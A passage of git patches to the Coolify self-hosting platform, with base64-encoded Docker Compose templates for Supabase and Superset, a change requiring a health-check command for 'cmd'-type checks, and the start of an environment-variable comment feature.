2ZXJpZnlKV1QodG9rZW4pXG5cbiAgICAgIGlmICghaXNWYWxpZEpXVCkge1xuICAgICAgICByZXR1cm4gbmV3IFJlc3BvbnNlKEpTT04uc3RyaW5naWZ5KHsgbXNnOiAnSW52YWxpZCBKV1QnIH0pLCB7XG4gICAgICAgICAgc3RhdHVzOiA0MDEsXG4gICAgICAgICAgaGVhZGVyczogeyAnQ29udGVudC1UeXBlJzogJ2FwcGxpY2F0aW9uL2pzb24nIH0sXG4gICAgICAgIH0pXG4gICAgICB9XG4gICAgfSBjYXRjaCAoZSkge1xuICAgICAgY29uc29sZS5lcnJvcihlKVxuICAgICAgcmV0dXJuIG5ldyBSZXNwb25zZShKU09OLnN0cmluZ2lmeSh7IG1zZzogZS50b1N0cmluZygpIH0pLCB7XG4gICAgICAgIHN0YXR1czogNDAxLFxuICAgICAgICBoZWFkZXJzOiB7ICdDb250ZW50LVR5cGUnOiAnYXBwbGljYXRpb24vanNvbicgfSxcbiAgICAgIH0pXG4gICAgfVxuICB9XG5cbiAgY29uc3QgdXJsID0gbmV3IFVSTChyZXEudXJsKVxuICBjb25zdCB7IHBhdGhuYW1lIH0gPSB1cmxcbiAgY29uc3QgcGF0aF9wYXJ0cyA9IHBhdGhuYW1lLnNwbGl0KCcvJylcbiAgY29uc3Qgc2VydmljZV9uYW1lID0gcGF0aF9wYXJ0c1sxXVxuXG4gIGlmICghc2VydmljZV9uYW1lIHx8IHNlcnZpY2VfbmFtZSA9PT0gJycpIHtcbiAgICBjb25zdCBlcnJvciA9IHsgbXNnOiAnbWlzc2luZyBmdW5jdGlvbiBuYW1lIGluIHJlcXVlc3QnIH1cbiAgICByZXR1cm4gbmV3IFJlc3BvbnNlKEpTT04uc3RyaW5naWZ5KGVycm9yKSwge1xuICAgICAgc3RhdHVzOiA0MDAsXG4gICAgICBoZWFkZXJzOiB7ICdDb250ZW50LVR5cGUnOiAnYXBwbGljYXRpb24vanNvbicgfSxcbiAgICB9KVxuICB9XG5cbiAgY29uc3Qgc2VydmljZVBhdGggPSBgL2hvbWUvZGVuby9mdW5jdGlvbnMvJHtzZXJ2aWNlX25hbWV9YFxuICBjb25zb2xlLmVycm9yKGBzZXJ2aW5nIHRoZSByZXF1ZXN0IHdpdGggJHtzZXJ2aWNlUGF0aH1gKVxuXG4gIGNvbnN0IG1lbW9yeUxpbWl0TWIgPSAxNTBcbiAgY29uc3Qgd29ya2VyVGltZW91dE1zID0gMSAqIDYwICogMTAwMFxuICBjb25zdCBub01vZHVsZUNhY2hlID0gZmFsc2VcbiAgY29uc3QgaW1wb3J0TWFwUGF0aCA9IG51bGxcbiAgY29uc3QgZW52VmFyc09iaiA9IERlbm8uZW52LnRvT2JqZWN0KClcbiAgY29uc3QgZW52VmFycyA9IE9iamVjdC5rZXlzKGVudlZhcnNPYmopLm1hcCgoaykgPT4gW2ssIGVudlZhcnNPYmpba11dKVxuXG4gIHRyeSB7XG4gICAgY29uc3Qgd29ya2VyID0gYXdhaXQgRWRnZVJ1bnRpbWUudXNlcldvcmtlcnMuY3JlYXRlKHtcbiAgICAgIHNlcnZpY2VQYXRoLFxuICAgICAgbWVtb3J5TGltaXRNYixcbiAgICAgIHdvcmtlclRpbWVvdXRNcyxcbiAgICAgIG5vTW9kdWxlQ2FjaGUsXG4gICAgICBpbXBvcnRNYXBQYXRoLFxuICAgICAgZW52VmFycyxcbiAgICB9KVxuICAgIHJldHVybiBhd2FpdCB3b3JrZXIuZmV0Y2gocmVxKVxuICB9IGNhdGNoIChlKSB7XG4gICAgY29uc3QgZXJyb3IgPSB7IG1zZzogZS50b1N0cmluZygpIH1cbiAgICByZXR1cm4gbmV3IFJlc3BvbnNlKEpTT04uc3RyaW5naWZ5KGVycm9yKSwge1xuICAgICAgc3RhdHVzOiA1MDAsXG4gICAgICBoZWFkZXJzOiB7ICdDb250ZW50LVR5cGUnOiAnYXBwbGljYXRpb24vanNvbicgfSxcbiAgICB9KVxuICB9XG59KSIKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vdm9sdW1lcy9mdW5jdGlvbnMvaGVsbG8vaW5kZXgudHMKICAgICAgICB0YXJnZXQ6IC9ob21lL2Rlbm8vZnVuY3Rpb25zL2hlbGxvL2luZGV4LnRzCiAgICAgICAgY29udGVudDogIi8vIEZvbGxvdyB0aGlzIHNldHVwIGd1aWRlIHRvIGludGVncmF0ZSB0aGUgRGVubyBsYW5ndWFnZSBzZXJ2ZXIgd2l0aCB5b3VyIGVkaXRvcjpcbi8vIGh0dHBzOi8vZGVuby5sYW5kL21hbnVhbC9nZXR0aW5nX3N0YXJ0ZWQvc2V0dXBfeW91cl9lbnZpcm9ubWVudFxuLy8gVGhpcyBlbmFibGVzIGF1dG9jb21wbGV0ZSwgZ28gdG8gZGVmaW5pdGlvbiwgZXRjLlxuXG5pbXBvcnQgeyBzZXJ2ZSB9IGZyb20gXCJodHRwczovL2Rlbm8ubGFuZC9zdGRAMC4xNzcuMS9odHRwL3NlcnZlci50c1wiXG5cbnNlcnZlKGFzeW5jICgpID0+IHtcbiAgcmV0dXJuIG5ldyBSZXNwb25zZShcbiAgICBgXCJIZWxsbyBmcm9tIEVkZ2UgRnVuY3Rpb25zIVwiYCxcbiAgICB7IGhlYWRlcnM6IHsgXCJDb250ZW50LVR5cGVcIjogXCJhcHBsaWNhdGlvbi9qc29uXCIgfSB9LFxuICApXG59KVxuXG4vLyBUbyBpbnZva2U6XG4vLyBjdXJsICdodHRwOi8vbG9jYWxob3N0OjxLT05HX0hUVFBfUE9SVD4vZnVuY3Rpb25zL3YxL2hlbGxvJyBcXFxuLy8gICAtLWhlYWRlciAnQXV0aG9yaXphdGlvbjogQmVhcmVyIDxhbm9uL3NlcnZpY2Vfcm9sZSBBUEkga2V5PidcbiIKICAgIGNvbW1hbmQ6CiAgICAgIC0gc3RhcnQKICAgICAgLSAnLS1tYWluLXNlcnZpY2UnCiAgICAgIC0gL2hvbWUvZGVuby9mdW5jdGlvbnMvbWFpbgogIHN1cGFiYXNlLXN1cGF2aXNvcjoKICAgIGltYWdlOiAnc3VwYWJhc2Uvc3VwYXZpc29yOjIuNS4xJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctc1NmTCcKICAgICAgICAtICctbycKICAgICAgICAtIC9kZXYvbnVsbAogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6NDAwMC9hcGkvaGVhbHRoJwogICAgICB0aW1lb3V0OiA1cwogICAgICBpbnRlcnZhbDogNXMKICAgICAgcmV0cmllczogMTAKICAgIGRlcGVuZHNfb246CiAgICAgIHN1cGFiYXNlLWRiOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHN1cGFiYXNlLWFuYWx5dGljczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gUE9PTEVSX1RFTkFOVF9JRD1kZXZfdGVuYW50CiAgICAgIC0gUE9PTEVSX1BPT0xfTU9ERT10cmFuc2FjdGlvbgogICAgICAtICdQT09MRVJfREVGQVVMVF9QT09MX1NJWkU9JHtQT09MRVJfREVGQVVMVF9QT09MX1NJWkU6LTIwfScKICAgICAgLSAnUE9PTEVSX01BWF9DTElFTlRfQ09OTj0ke1BPT0xFUl9NQVhfQ0xJRU5UX0NPTk46LTEwMH0nCiAgICAgIC0gUE9SVD00MDAwCiAgICAgIC0gJ1BPU1RHUkVTX1BPUlQ9JHtQT1NUR1JFU19QT1JUOi01NDMyfScKICAgICAgLSAnUE9TVEdSRVNfSE9TVE5BTUU9JHtQT1NUR1JFU19IT1NUTkFNRTotc3VwYWJhc2UtZGJ9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1wb3N0Z3Jlc30nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ0RBVEFCQVNFX1VSTD1lY3RvOi8vc3VwYWJhc2VfYWRtaW46JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUAke1BPU1RHUkVTX0hPU1ROQU1FOi1zdXBhYmFzZS1kYn06JHtQT1NUR1JFU19QT1JUOi01NDMyfS9fc3VwYWJhc2UnCiAgICAgIC0gQ0xVU1RFUl9QT1NUR1JFUz10cnVlCiAgICAgIC0gJ1NFQ1JFVF9LRVlfQkFTRT0ke1NFUlZJQ0VfUEFTU1dPUkRfU1VQQVZJU09SU0VDUkVUfScKICAgICAgLSAnVkFVTFRfRU5DX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfVkFVTFRFTkN9JwogICAgICAtICdBUElfSldUX1NFQ1JFVD0ke1NFUlZJQ0VfUEFTU1dPUkRfSldUfScKICAgICAgLSAnTUVUUklDU19KV1RfU0VDUkVUPSR7U0VSVklDRV9QQVNTV09SRF9KV1R9JwogICAgICAtIFJFR0lPTj1sb2NhbAogICAgICAtICdFUkxfQUZMQUdTPS1wcm90b19kaXN0IGluZXRfdGNwJwogICAgY29tbWFuZDoKICAgICAgLSAvYmluL3NoCiAgICAgIC0gJy1jJwogICAgICAtICcvYXBwL2Jpbi9taWdyYXRlICYmIC9hcHAvYmluL3N1cGF2aXNvciBldmFsICIkJChjYXQgL2V0Yy9wb29sZXIvcG9vbGVyLmV4cykiICYmIC9hcHAvYmluL3NlcnZlcicKICAgIHZvbHVtZXM6CiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3ZvbHVtZXMvcG9vbGVyL3Bvb2xlci5leHMKICAgICAgICB0YXJnZXQ6IC9ldGMvcG9vbGVyL3Bvb2xlci5leHMKICAgICAgICBjb250ZW50OiAiezpvaywgX30gPSBBcHBsaWNhdGlvbi5lbnN1cmVfYWxsX3N0YXJ0ZWQoOnN1cGF2aXNvcilcbns6b2ssIHZlcnNpb259ID1cbiAgICBjYXNlIFN1cGF2aXNvci5SZXBvLnF1ZXJ5IShcInNlbGVjdCB2ZXJzaW9uKClcIikgZG9cbiAgICAle3Jvd3M6IFtbdmVyXV19IC0+IFN1cGF2aXNvci5IZWxwZXJzLnBhcnNlX3BnX3ZlcnNpb24odmVyKVxuICAgIF8gLT4gbmlsXG4gICAgZW5kXG5wYXJhbXMgPSAle1xuICAgIFwiZXh0ZXJuYWxfaWRcIiA9PiBTeXN0ZW0uZ2V0X2VudihcIlBPT0xFUl9URU5BTlRfSURcIiksXG4gICAgXCJkYl9ob3N0XCIgPT4gU3lzdGVtLmdldF9lbnYoXCJQT1NUR1JFU19IT1NUTkFNRVwiKSxcbiAgICBcImRiX3BvcnRcIiA9PiBTeXN0ZW0uZ2V0X2VudihcIlBPU1RHUkVTX1BPUlRcIikgfD4gU3RyaW5nLnRvX2ludGVnZXIoKSxcbiAgICBcImRiX2RhdGFiYXNlXCIgPT4gU3lzdGVtLmdldF9lbnYoXCJQT1NUR1JFU19EQlwiKSxcbiAgICBcInJlcXVpcmVfdXNlclwiID0+IGZhbHNlLFxuICAgIFwiYXV0aF9xdWVyeVwiID0+IFwiU0VMRUNUICogRlJPTSBwZ2JvdW5jZXIuZ2V0X2F1dGgoJDEpXCIsXG4gICAgXCJkZWZhdWx0X21heF9jbGllbnRzXCIgPT4gU3lzdGVtLmdldF9lbnYoXCJQT09MRVJfTUFYX0NMSUVOVF9DT05OXCIpLFxuICAgIFwiZGVmYXVsdF9wb29sX3NpemVcIiA9PiBTeXN0ZW0uZ2V0X2VudihcIlBPT0xFUl9ERUZBVUxUX1BPT0xfU0laRVwiKSxcbiAgICBcImRlZmF1bHRfcGFyYW1ldGVyX3N0YXR1c1wiID0+ICV7XCJzZXJ2ZXJfdmVyc2lvblwiID0+IHZlcnNpb259LFxuICAgIFwidXNlcnNcIiA9PiBbJXtcbiAgICBcImRiX3VzZXJcIiA9PiBcInBnYm91bmNlclwiLFxuICAgIFwiZGJfcGFzc3dvcmRcIiA9PiBTeXN0ZW0uZ2V0X2VudihcIlBPU1RHUkVTX1BBU1NXT1JEXCIpLFxuICAgIFwibW9kZV90eXBlXCIgPT4gU3lzdGVtLmdldF9lbnYoXCJQT09MRVJfUE9PTF9NT0RFXCIpLFxuICAgIFwicG9vbF9zaXplXCIgPT4gU3lzdGVtLmdldF9lbnYoXCJQT09MRVJfREVGQVVMVF9QT09MX1NJWkVcIiksXG4gICAgXCJpc19tYW5hZ2VyXCIgPT4gdHJ1ZVxuICAgIH1dXG59XG5cbnRlbmFudCA9IFN1cGF2aXNvci5UZW5hbnRzLmdldF90ZW5hbnRfYnlfZXh0ZXJuYWxfaWQocGFyYW1zW1wiZXh0ZXJuYWxfaWRcIl0pXG5cbmlmIHRlbmFudCBkb1xuICB7Om9rLCBffSA9IFN1cGF2aXNvci5UZW5hbnRzLnVwZGF0ZV90ZW5hbnQodGVuYW50LCBwYXJhbXMpXG5lbHNlXG4gIHs6b2ssIF99ID0gU3VwYXZpc29yLlRlbmFudHMuY3JlYXRlX3RlbmFudChwYXJhbXMpXG5lbmRcbiIK", "tags": [ "firebase", "alternative", @@ -4102,7 +4102,7 @@ "superset-with-postgresql": { "documentation": "https://github.com/amancevice/docker-superset?utm_source=coolify.io", "slogan": "Modern data exploration and visualization platform (unofficial community docker image)", - "compose": "c2VydmljZXM6CiAgc3VwZXJzZXQ6CiAgICBpbWFnZTogJ2FtYW5jZXZpY2Uvc3VwZXJzZXQ6bGF0ZXN0JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX1NVUEVSU0VUXzgwODgKICAgICAgLSAnU0VDUkVUX0tFWT0ke1NFUlZJQ0VfQkFTRTY0XzY0X1NVUEVSU0VUU0VDUkVUS0VZfScKICAgICAgLSAnTUFQQk9YX0FQSV9LRVk9JHtNQVBCT1hfQVBJX0tFWX0nCiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1zdXBlcnNldC1kYn0nCiAgICAgIC0gJ1JFRElTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9SRURJU30nCiAgICB2b2x1bWVzOgogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi9zdXBlcnNldC9zdXBlcnNldF9jb25maWcucHkKICAgICAgICB0YXJnZXQ6IC9ldGMvc3VwZXJzZXQvc3VwZXJzZXRfY29uZmlnLnB5CiAgICAgICAgY29udGVudDogIlwiXCJcIlxuRm9yIG1vcmUgY29uZmlndXJhdGlvbiBvcHRpb25zLCBzZWU6XG4tIGh0dHBzOi8vc3VwZXJzZXQuYXBhY2hlLm9yZy9kb2NzL2NvbmZpZ3VyYXRpb24vY29uZmlndXJpbmctc3VwZXJzZXRcblwiXCJcIlxuXG5pbXBvcnQgb3NcblxuU0VDUkVUX0tFWSA9IG9zLmdldGVudihcIlNFQ1JFVF9LRVlcIilcbk1BUEJPWF9BUElfS0VZID0gb3MuZ2V0ZW52KFwiTUFQQk9YX0FQSV9LRVlcIiwgXCJcIilcblxuQ0FDSEVfQ09ORklHID0ge1xuICBcIkNBQ0hFX1RZUEVcIjogXCJSZWRpc0NhY2hlXCIsXG4gIFwiQ0FDSEVfREVGQVVMVF9USU1FT1VUXCI6IDMwMCxcbiAgXCJDQUNIRV9LRVlfUFJFRklYXCI6IFwic3VwZXJzZXRfXCIsXG4gIFwiQ0FDSEVfUkVESVNfSE9TVFwiOiBcInJlZGlzXCIsXG4gIFwiQ0FDSEVfUkVESVNfUE9SVFwiOiA2Mzc5LFxuICBcIkNBQ0hFX1JFRElTX0RCXCI6IDEsXG4gIFwiQ0FDSEVfUkVESVNfVVJMXCI6IGZcInJlZGlzOi8vOntvcy5nZXRlbnYoJ1JFRElTX1BBU1NXT1JEJyl9QHJlZGlzOjYzNzkvMVwiLFxufVxuXG5GSUxURVJfU1RBVEVfQ0FDSEVfQ09ORklHID0geyoqQ0FDSEVfQ09ORklHLCBcIkNBQ0hFX0tFWV9QUkVGSVhcIjogXCJzdXBlcnNldF9maWx0ZXJfXCJ9XG5FWFBMT1JFX0ZPUk1fREFUQV9DQUNIRV9DT05GSUcgPSB7KipDQUNIRV9DT05GSUcsIFwiQ0FDSEVfS0VZX1BSRUZJWFwiOiBcInN1cGVyc2V0X2V4cGxvcmVfZm9ybV9cIn1cblxuU1FMQUxDSEVNWV9UUkFDS19NT0RJRklDQVRJT05TID0gVHJ1ZVxuU1FMQUxDSEVNWV9EQVRBQkFTRV9VUkkgPSBmXCJwb3N0Z3Jlc3FsK3BzeWNvcGcyOi8ve29zLmdldGVudignUE9TVEdSRVNfVVNFUicpfTp7b3MuZ2V0ZW52KCdQT1NUR1JFU19QQVNTV09SRCcpfUBwb3N0Z3Jlczo1NDMyL3tvcy5nZXRlbnYoJ1BPU1RHUkVTX0RCJyl9XCJcblxuIyBVbmNvbW1lbnQgaWYgeW91IHdhbnQgdG8gbG9hZCBleGFtcGxlIGRhdGEgKHVzaW5nIFwic3VwZXJzZXQgbG9hZF9leGFtcGxlc1wiKSBhdCB0aGVcbiMgc2FtZSBsb2NhdGlvbiBhcyB5b3VyIG1ldGFkYXRhIHBvc3RncmVzcWwgaW5zdGFuY2UuIE90aGVyd2lzZSwgdGhlIGRlZmF1bHQgc3FsaXRlXG4jIHdpbGwgYmUgdXNlZCwgd2hpY2ggd2lsbCBub3QgcGVyc2lzdCBpbiB2b2x1bWUgd2hlbiByZXN0YXJ0aW5nIHN1cGVyc2V0IGJ5IGRlZmF1bHQuXG4jU1FMQUxDSEVNWV9FWEFNUExFU19VUkkgPSBTUUxBTENIRU1ZX0RBVEFCQVNFX1VSSSIKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6ODA4OC9oZWFsdGgnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTctYWxwaW5lJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1zdXBlcnNldC1kYn0nCiAgICB2b2x1bWVzOgogICAgICAtICdzdXBlcnNldF9wb3N0Z3Jlc19kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICByZWRpczoKICAgIGltYWdlOiAncmVkaXM6OC1hbHBpbmUnCiAgICB2b2x1bWVzOgogICAgICAtICdzdXBlcnNldF9yZWRpc19kYXRhOi9kYXRhJwogICAgY29tbWFuZDogJ3JlZGlzLXNlcnZlciAtLXJlcXVpcmVwYXNzICR7U0VSVklDRV9QQVNTV09SRF9SRURJU30nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDogJ3JlZGlzLWNsaSBwaW5nJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCg==", + "compose": "c2VydmljZXM6CiAgc3VwZXJzZXQ6CiAgICBpbWFnZTogJ2FtYW5jZXZpY2Uvc3VwZXJzZXQ6Ni4wLjAnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fU1VQRVJTRVRfODA4OAogICAgICAtICdTRUNSRVRfS0VZPSR7U0VSVklDRV9CQVNFNjRfNjRfU1VQRVJTRVRTRUNSRVRLRVl9JwogICAgICAtICdNQVBCT1hfQVBJX0tFWT0ke01BUEJPWF9BUElfS0VZfScKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LXN1cGVyc2V0LWRifScKICAgICAgLSAnUkVESVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAgIHZvbHVtZXM6CiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3N1cGVyc2V0L3N1cGVyc2V0X2NvbmZpZy5weQogICAgICAgIHRhcmdldDogL2V0Yy9zdXBlcnNldC9zdXBlcnNldF9jb25maWcucHkKICAgICAgICBjb250ZW50OiAiXCJcIlwiXG5Gb3IgbW9yZSBjb25maWd1cmF0aW9uIG9wdGlvbnMsIHNlZTpcbi0gaHR0cHM6Ly9zdXBlcnNldC5hcGFjaGUub3JnL2RvY3MvY29uZmlndXJhdGlvbi9jb25maWd1cmluZy1zdXBlcnNldFxuXCJcIlwiXG5cbmltcG9ydCBvc1xuXG5TRUNSRVRfS0VZID0gb3MuZ2V0ZW52KFwiU0VDUkVUX0tFWVwiKVxuTUFQQk9YX0FQSV9LRVkgPSBvcy5nZXRlbnYoXCJNQVBCT1hfQVBJX0tFWVwiLCBcIlwiKVxuXG5DQUNIRV9DT05GSUcgPSB7XG4gIFwiQ0FDSEVfVFlQRVwiOiBcIlJlZGlzQ2FjaGVcIixcbiAgXCJDQUNIRV9ERUZBVUxUX1RJTUVPVVRcIjogMzAwLFxuICBcIkNBQ0hFX0tFWV9QUkVGSVhcIjogXCJzdXBlcnNldF9cIixcbiAgXCJDQUNIRV9SRURJU19IT1NUXCI6IFwicmVkaXNcIixcbiAgXCJDQUNIRV9SRURJU19QT1JUXCI6IDYzNzksXG4gIFwiQ0FDSEVfUkVESVNfREJcIjogMSxcbiAgXCJDQUNIRV9SRURJU19VUkxcIjogZlwicmVkaXM6Ly86e29zLmdldGVudignUkVESVNfUEFTU1dPUkQnKX1AcmVkaXM6NjM3OS8xXCIsXG59XG5cbkZJTFRFUl9TVEFURV9DQUNIRV9DT05GSUcgPSB7KipDQUNIRV9DT05GSUcsIFwiQ0FDSEVfS0VZX1BSRUZJWFwiOiBcInN1cGVyc2V0X2ZpbHRlcl9cIn1cbkVYUExPUkVfRk9STV9EQVRBX0NBQ0hFX0NPTkZJRyA9IHsqKkNBQ0hFX0NPTkZJRywgXCJDQUNIRV9LRVlfUFJFRklYXCI6IFwic3VwZXJzZXRfZXhwbG9yZV9mb3JtX1wifVxuXG5TUUxBTENIRU1ZX1RSQUNLX01PRElGSUNBVElPTlMgPSBUcnVlXG5TUUxBTENIRU1ZX0RBVEFCQVNFX1VSSSA9IGZcInBvc3RncmVzcWwrcHN5Y29wZzI6Ly97b3MuZ2V0ZW52KCdQT1NUR1JFU19VU0VSJyl9Ontvcy5nZXRlbnYoJ1BPU1RHUkVTX1BBU1NXT1JEJyl9QHBvc3RncmVzOjU0MzIve29zLmdldGVudignUE9TVEdSRVNfREInKX1cIlxuXG4jIFVuY29tbWVudCBpZiB5b3Ugd2FudCB0byBsb2FkIGV4YW1wbGUgZGF0YSAodXNpbmcgXCJzdXBlcnNldCBsb2FkX2V4YW1wbGVzXCIpIGF0IHRoZVxuIyBzYW1lIGxvY2F0aW9uIGFzIHlvdXIgbWV0YWRhdGEgcG9zdGdyZXNxbCBpbnN0YW5jZS4gT3RoZXJ3aXNlLCB0aGUgZGVmYXVsdCBzcWxpdGVcbiMgd2lsbCBiZSB1c2VkLCB3aGljaCB3aWxsIG5vdCBwZXJzaXN0IGluIHZvbHVtZSB3aGVuIHJlc3RhcnRpbmcgc3VwZXJzZXQgYnkgZGVmYXVsdC5cbiNTUUxBTENIRU1ZX0VYQU1QTEVTX1VSSSA9IFNRTEFMQ0hFTVlfREFUQUJBU0VfVVJJIgogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLWYnCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo4MDg4L2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHBvc3RncmVzOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxOCcKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotc3VwZXJzZXQtZGJ9JwogICAgdm9sdW1lczoKICAgICAgLSAnc3VwZXJzZXRfcG9zdGdyZXNfZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHJlZGlzOgogICAgaW1hZ2U6ICdyZWRpczo4JwogICAgdm9sdW1lczoKICAgICAgLSAnc3VwZXJzZXRfcmVkaXNfZGF0YTovZGF0YScKICAgIGNvbW1hbmQ6ICdyZWRpcy1zZXJ2ZXIgLS1yZXF1aXJlcGFzcyAke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6ICdyZWRpcy1jbGkgcGluZycKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=", "tags": [ "analytics", "bi", From 1ef6351701924db1af55a44f4f98c326c50f5590 Mon Sep 17 00:00:00 2001 From: Aditya Tripathi Date: Thu, 25 Dec 2025 21:03:49 +0000 Subject: [PATCH 002/305] feat: require health check command for 'cmd' type with backend validation and frontend update --- app/Livewire/Project/Shared/HealthChecks.php | 3 ++- .../views/livewire/project/shared/health-checks.blade.php | 2 +- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/app/Livewire/Project/Shared/HealthChecks.php b/app/Livewire/Project/Shared/HealthChecks.php index ec4f494f8..ac25f6a77 100644 --- a/app/Livewire/Project/Shared/HealthChecks.php +++ b/app/Livewire/Project/Shared/HealthChecks.php @@ -19,7 +19,7 @@ class HealthChecks extends Component #[Validate(['string', 'in:http,cmd'])] public string $healthCheckType = 'http'; - #[Validate(['nullable', 'string'])] + #[Validate(['nullable', 'required_if:healthCheckType,cmd', 'string'])] public ?string $healthCheckCommand = null; #[Validate(['string'])] @@ -128,6 +128,7 @@ public function syncData(bool $toModel = false): void public function instantSave() { $this->authorize('update', $this->resource); + $this->validate(); // Sync component properties to model $this->resource->health_check_enabled = $this->healthCheckEnabled; diff --git a/resources/views/livewire/project/shared/health-checks.blade.php b/resources/views/livewire/project/shared/health-checks.blade.php index a0027c62c..c181f3f1a 100644 --- a/resources/views/livewire/project/shared/health-checks.blade.php +++ b/resources/views/livewire/project/shared/health-checks.blade.php @@ -57,7 +57,7 @@ label="Command" placeholder="Example: pg_isready -U postgres Example: redis-cli ping Example: curl -f http://localhost:8080/health" helper="The command to run inside the container. It should exit with code 0 on success and non-zero on failure." - required /> + :required="$healthCheckType === 'cmd'" /> @endif From e33558488eea678d1f879f4e765d917c5b46b9fd Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 18 Nov 2025 10:10:29 +0100 Subject: [PATCH 003/305] feat: add comment field to environment variables - Add comment field to EnvironmentVariable model and database - Update parseEnvFormatToArray to extract inline comments from env files - Update Livewire components to handle comment field - Add UI for displaying and editing comments - Add tests for comment parsing functionality --- app/Livewire/Project/New/DockerCompose.php | 9 +- 